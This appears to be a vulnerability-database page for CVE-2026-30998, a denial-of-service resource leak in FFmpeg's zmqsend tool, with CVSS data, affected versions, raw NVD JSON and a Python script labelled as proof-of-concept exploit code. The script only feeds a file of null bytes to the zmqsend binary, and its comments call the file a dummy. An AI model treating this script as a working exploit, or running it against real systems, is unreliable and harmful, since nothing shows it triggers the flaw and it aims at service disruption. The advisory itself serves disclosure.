Security Vulnerability Report
中文
CVE-2026-30998 CVSS 7.5 HIGH

CVE-2026-30998

Published: 2026-04-13 15:17:33
Last Modified: 2026-04-23 20:11:50

Description

An improper resource deallocation and closure vulnerability in the tools/zmqsend.c component of FFmpeg v8.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted input file.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ffmpeg:ffmpeg:*:*:*:*:*:*:*:* - VULNERABLE
FFmpeg 8.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import subprocess import os # PoC for CVE-2026-30998 # This script demonstrates triggering the resource leak in FFmpeg's zmqsend tool. def generate_crafted_input(filename): """Generate a crafted input file that may trigger the vulnerability.""" # In a real scenario, specific bytes or structure are required. # Here we create a dummy file to simulate the attack vector. with open(filename, 'wb') as f: f.write(b'\x00' * 1000) def exploit(): input_file = 'crafted_input.bin' generate_crafted_input(input_file) # Path to the vulnerable zmqsend binary zmqsend_path = './ffmpeg/tools/zmqsend' if os.path.exists(zmqsend_path): print(f"[*] Triggering {zmqsend_path} with crafted input...") try: # Execute the vulnerable component with the crafted input # The vulnerability occurs when the tool processes the file and fails to close resources subprocess.call([zmqsend_path, '-f', input_file]) print("[+] Execution finished. Check system resources (lsof) for leaks.") except Exception as e: print(f"[-] Error during execution: {e}") else: print(f"[-] Binary not found at {zmqsend_path}") if __name__ == '__main__': exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30998", "sourceIdentifier": "[email protected]", "published": "2026-04-13T15:17:32.697", "lastModified": "2026-04-23T20:11:49.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper resource deallocation and closure vulnerability in the tools/zmqsend.c component of FFmpeg v8.0.1 allows attackers to cause a Denial of Service (DoS) via supplying a crafted input file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ffmpeg:ffmpeg:*:*:*:*:*:*:*:*", "versionEndIncluding": "8.0.1", "matchCriteriaId": "CC0744C3-5732-466C-B936-078E938A66B6"}]}]}], "references": [{"url": "https://excellent-oatmeal-319.notion.site/CVE-2026-30998-Resource-Leak-3265a71f9cca4dc58df4632ce8b60a50", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://ffmpeg.org/doxygen/7.0/zmqsend_8c_source.html", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FFmpeg/FFmpeg/blob/master/tools/zmqsend.c", "source": "[email protected]", "tags": ["Product"]}]}}